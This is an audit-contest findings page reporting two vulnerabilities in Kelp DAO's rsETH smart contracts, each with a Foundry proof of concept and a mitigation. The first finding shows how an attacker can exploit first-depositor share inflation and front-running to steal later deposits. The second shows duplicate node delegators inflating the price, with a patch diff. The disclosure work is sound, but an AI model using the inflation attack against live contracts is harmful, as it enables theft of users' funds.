Kelp DAO | rsETH - TheSchnilch's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L78-L78 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109-L109

Vulnerability details

Description

Before 1 rsETH is minted, the price of rsETH is 1 ether. The calculation for the rsETH to be minted is as follows: (File: LRTDepositPool.sol)

109: rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();

So lrtOracle.getRSETHPrice() would be 1 ether on the first deposit. A potential attacker could initiate the first deposit and deposit only 1 wei as the amount. This would result in them receiving a very small amount of rsETH. For all subsequent deposits, the rsETHPrice in getRSETHPrice will be calculated as follows: File (LRTOracle.sol)

78: return totalETHInPool / rsEthSupply;

So if a second user now wants to make a deposit, totalETHInPool is calculated as: (1 wei * price of Asset) + (amount depositor * price of Asset) . If the attacker manages to make the return value of getRSETHPrice greater than (amount * lrtOracle.getAssetPrice(asset)), the depositor would not receive any rsETH because the calculation for the minted rsETH to be minted would be 0. He can achieve this by frontrunning the second depositor and transferring additional assets into the Vault. (The attacker does not use the deposit function because that would also increase the total supply of rsETH). When he has transferred enough assets, the return value of lrtOracle.getRSETHPrice() is then greater than (amount * lrtOracle.getAssetPrice(asset)) . This results in the second depositor not receiving any rsETH, and the price of rsETH increases because the deposits from the second user remain in the pool. Since the attacker is the only one with rsETH, he benefit from this.

The worst-case scenario would be if the attacker manages to receive exactly 1 rsETH on the first deposit. In this case, the return value of lrtOracle.getRSETHPrice() would simply be 'totalETHInPool' since 'rsETH' is 1. And 'totalETHInPool' is logically always greater than (amount * lrtOracle.getAssetPrice(asset)). So, no depositor can receive rsETH anymore, and the attacker will receive everything that is deposited.

Proof of Concept

Here is a POC that shows that if an attacker can be the initial depositor with a small amount to deposit, they can steal the value of deposits from other depositors.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;

import "forge-std/console.sol";
import { MockEigenStrategyManager, MockStrategy } from "./NodeDelegatorTest.t.sol";
import { MockPriceOracle } from "./LRTOracleTest.t.sol";
import { LRTOracle } from "../src/LRTOracle.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { IStrategy } from "src/interfaces/IStrategy.sol";
import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

contract POC is BaseTest, RSETHTest {
    NodeDelegator public nodeDel;

    MockEigenStrategyManager public mockEigenStrategyManager;

    MockStrategy public rETHMockStrategy;
    MockStrategy public cbETHMockStrategy;
    MockStrategy public stETHMockStrategy;
    uint256 public mockUserUnderlyingViewBalance;

    LRTDepositPool public lrtDepositPool;
    LRTOracle public lrtOracle;

    //I had to write my own setUp function because none of the existing tests 
    //had a setUp function that sets up all the required contracts together
    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        mockUserUnderlyingViewBalance = 0 ether;

        MockPriceOracle mockPriceOracle = new MockPriceOracle();
        mockEigenStrategyManager = new MockEigenStrategyManager();
        rETHMockStrategy = new MockStrategy(address(rETH), mockUserUnderlyingViewBalance);
        cbETHMockStrategy = new MockStrategy(address(cbETH), mockUserUnderlyingViewBalance);
        stETHMockStrategy = new MockStrategy(address(stETH), mockUserUnderlyingViewBalance);

        ProxyAdmin depositPoolProxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(depositPoolProxyAdmin),
            ""
        );

        ProxyAdmin oracleProxyAdmin = new ProxyAdmin();
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(oracleProxyAdmin),
            ""
        );

        ProxyAdmin nodeDelProxyAdmin = new ProxyAdmin();
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(nodeDelProxyAdmin),
            ""
        );

        nodeDel = NodeDelegator(address(nodeDelProxy));
        lrtOracle = LRTOracle(address(lrtOracleProxy));
        lrtDepositPool = LRTDepositPool(address(contractProxy));

        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);

        lrtConfig.setRSETH(address(rseth));
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.setContract(LRTConstants.EIGEN_STRATEGY_MANAGER, address(mockEigenStrategyManager));
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));
        lrtConfig.updateAssetStrategy(address(rETH), address(rETHMockStrategy));
        lrtConfig.updateAssetStrategy(address(cbETH), address(cbETHMockStrategy));
        lrtConfig.updateAssetStrategy(address(stETH), address(stETHMockStrategy));

        nodeDel.initialize(address(lrtConfig));
        lrtDepositPool.initialize(address(lrtConfig));
        lrtOracle.initialize(address(lrtConfig));

        address[] memory nodeDelegatorQueue = new address[](1);
        nodeDelegatorQueue[0] = address(nodeDel);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorQueue);
        vm.stopPrank();

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(address(rETH), address(mockPriceOracle));
        lrtOracle.updatePriceOracleFor(address(stETH), address(mockPriceOracle));
        lrtOracle.updatePriceOracleFor(address(cbETH), address(mockPriceOracle));
        vm.stopPrank();
    }

    function test_POC() public {
        uint256 depositAmount;

        depositAmount = 1;
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), depositAmount); //Alice deposits 1 wei in rETH and receives 2 wei in rsETH, as the price of rETH is 2 ether
        rETH.transfer(address(lrtDepositPool), 10 ether); //Alice front runs Bob's deposit and transfers enough ether so that Bob does not receive any rsETH
        vm.stopPrank();

        uint256 priceOfRSETHBefore = lrtOracle.getRSETHPrice();

        depositAmount = 10 ether;
        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), depositAmount); ////Bob depsosits his rETH
        vm.stopPrank();

        uint256 rsETHBalanceAlice = rseth.balanceOf(alice);
        uint256 rsETHBalanceBob = rseth.balanceOf(bob);
        uint256 priceOfRSETHAfter = lrtOracle.getRSETHPrice();

        assert(rsETHBalanceAlice == 2); //Shows that alice holds 2 rsETH
        assert(rsETHBalanceBob == 0); //Shows that bob holds 0 rsETH
        assert(priceOfRSETHAfter > priceOfRSETHBefore); //Shows that bob's deposit increased the price of rsETH, which is a profit for alice
    }
}

The POC can be added to a new file in the test folder and can be started with this command: forge test --match-test test_POC

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

It should be ensured that, after deploying the pool, the pool is topped up a little in the same transaction. Additionally, the user should be able to specify how many rsETH tokens they expect to receive at a minimum.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L162-L176 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L81-L88

Vulnerability details

Description

The nodeDelegatorQueue in the LRTDepositPool is a list containing Node Delegators. It is possible for a Node Delegator to appear in this list twice, as there is no check for this (first GitHub link).

The consequence of this is that the getAssetDistributionData function iterates through each nodeDelegator in the list and retrieves its balance. Consequently, the balance of the nodeDelegator, which appears twice in the list, is counted twice (second GitHub link). Since this function is also used to calculate the rsETH price in getRSETHPrice, the price becomes larger than it actually is.

Furthermore, during the deposit process, the depositLimit is also calculated using the getAssetDistributionData function. Therefore, when the balance of a single Node Delegator is counted twice, this limit is reached more quickly.

Proof of Concept

Here is a proof of concept that shows that the price of rsETH is higher when the same NodeDelegator appears twice in a list:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;

import { MockEigenStrategyManager, MockStrategy } from "./NodeDelegatorTest.t.sol";
import { MockPriceOracle } from "./LRTOracleTest.t.sol";
import { LRTOracle } from "../src/LRTOracle.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { IStrategy } from "src/interfaces/IStrategy.sol";
import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

contract POC is BaseTest, RSETHTest {
    NodeDelegator public nodeDel;

    MockEigenStrategyManager public mockEigenStrategyManager;

    MockStrategy public rETHMockStrategy;
    MockStrategy public cbETHMockStrategy;
    MockStrategy public stETHMockStrategy;
    uint256 public mockUserUnderlyingViewBalance;

    LRTDepositPool public lrtDepositPool;
    LRTOracle public lrtOracle;

    //I had to write my own setUp function because none of the existing tests 
    //had a setUp function that sets up all the required contracts together
    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        mockUserUnderlyingViewBalance = 0;

        MockPriceOracle mockPriceOracle = new MockPriceOracle();
        mockEigenStrategyManager = new MockEigenStrategyManager();
        rETHMockStrategy = new MockStrategy(address(rETH), mockUserUnderlyingViewBalance);
        cbETHMockStrategy = new MockStrategy(address(cbETH), mockUserUnderlyingViewBalance);
        stETHMockStrategy = new MockStrategy(address(stETH), mockUserUnderlyingViewBalance);

        ProxyAdmin depositPoolProxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(depositPoolProxyAdmin),
            ""
        );

        ProxyAdmin oracleProxyAdmin = new ProxyAdmin();
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(oracleProxyAdmin),
            ""
        );

        ProxyAdmin nodeDelProxyAdmin = new ProxyAdmin();
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(nodeDelProxyAdmin),
            ""
        );

        nodeDel = NodeDelegator(address(nodeDelProxy));
        lrtOracle = LRTOracle(address(lrtOracleProxy));
        lrtDepositPool = LRTDepositPool(address(contractProxy));

        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);

        lrtConfig.setRSETH(address(rseth));
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.setContract(LRTConstants.EIGEN_STRATEGY_MANAGER, address(mockEigenStrategyManager));
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));
        lrtConfig.updateAssetStrategy(address(rETH), address(rETHMockStrategy));
        lrtConfig.updateAssetStrategy(address(cbETH), address(cbETHMockStrategy));
        lrtConfig.updateAssetStrategy(address(stETH), address(stETHMockStrategy));

        nodeDel.initialize(address(lrtConfig));
        lrtDepositPool.initialize(address(lrtConfig));
        lrtOracle.initialize(address(lrtConfig));
        vm.stopPrank();

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(address(rETH), address(mockPriceOracle));
        lrtOracle.updatePriceOracleFor(address(stETH), address(mockPriceOracle));
        lrtOracle.updatePriceOracleFor(address(cbETH), address(mockPriceOracle));
        vm.stopPrank();
    }

    function test_POC() public {
        address[] memory nodeDelegatorQueue = new address[](1);
        nodeDelegatorQueue[0] = address(nodeDel);
        //Admin adds new a nodeDelegator
        vm.prank(admin);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorQueue);

        //Alice deposits 1 rETH and receives 2 rsETH, because price of rETH = 2 ether
        uint256 depositAmount = 1 ether;
        vm.startPrank(alice);
        rETH.approve(address(lrtDepositPool), type(uint256).max);
        lrtDepositPool.depositAsset(address(rETH), depositAmount);
        vm.stopPrank();

        vm.prank(manager);
        lrtDepositPool.transferAssetToNodeDelegator(0, address(rETH), depositAmount); //Manager transfers deposited tokens to NodeDelegator

        uint256 rsETHPriceBefore = lrtOracle.getRSETHPrice();

        //Admin mistakenly adds same nodeDelegator twice this results in getRSETHPrice is counting balance of this nodeDelegator twice
        //and rsETH price is calculated wrong
        vm.prank(admin);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeDelegatorQueue);

        uint256 rsETHPriceAfter = lrtOracle.getRSETHPrice();
        assert(rsETHPriceAfter == rsETHPriceBefore * 2); //Since there is only one NodeDelegator, which is counted twice with everything that was deposited, the rsETH price doubles
    }
}

The POC can be added to a new file in the test folder and can be started with this command: forge test --match-test test_POC

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Ensure that there is a check to verify whether a Node Delegator is already present in the list. This can be achieved by using a mapping to keep track of the Node Delegators:

diff --git a/src/LRTDepositPool.sol.orig b/src/LRTDepositPool.sol
index bc6ade8..89865ef 100644
--- a/src/LRTDepositPool.sol.orig
+++ b/src/LRTDepositPool.sol
@@ -21,6 +21,7 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad
     uint256 public maxNodeDelegatorCount;
 
     address[] public nodeDelegatorQueue;
+    mapping(address => bool) public isNodeDelegatorInList;
 
     /// @custom:oz-upgrades-unsafe-allow constructor
     constructor() {
@@ -168,6 +169,8 @@ contract LRTDepositPool is ILRTDepositPool, LRTConfigRoleChecker, PausableUpgrad
 
         for (uint256 i; i < length;) {
             UtilLib.checkNonZeroAddress(nodeDelegatorContracts[i]);
+            require(!isNodeDelegatorInList[nodeDelegatorContracts[i]], "Already in List");
+            isNodeDelegatorInList[nodeDelegatorContracts[i]] = true;
             nodeDelegatorQueue.push(nodeDelegatorContracts[i]);
             emit NodeDelegatorAddedinQueue(nodeDelegatorContracts[i]);
             unchecked {

Assessed type

Invalid Validation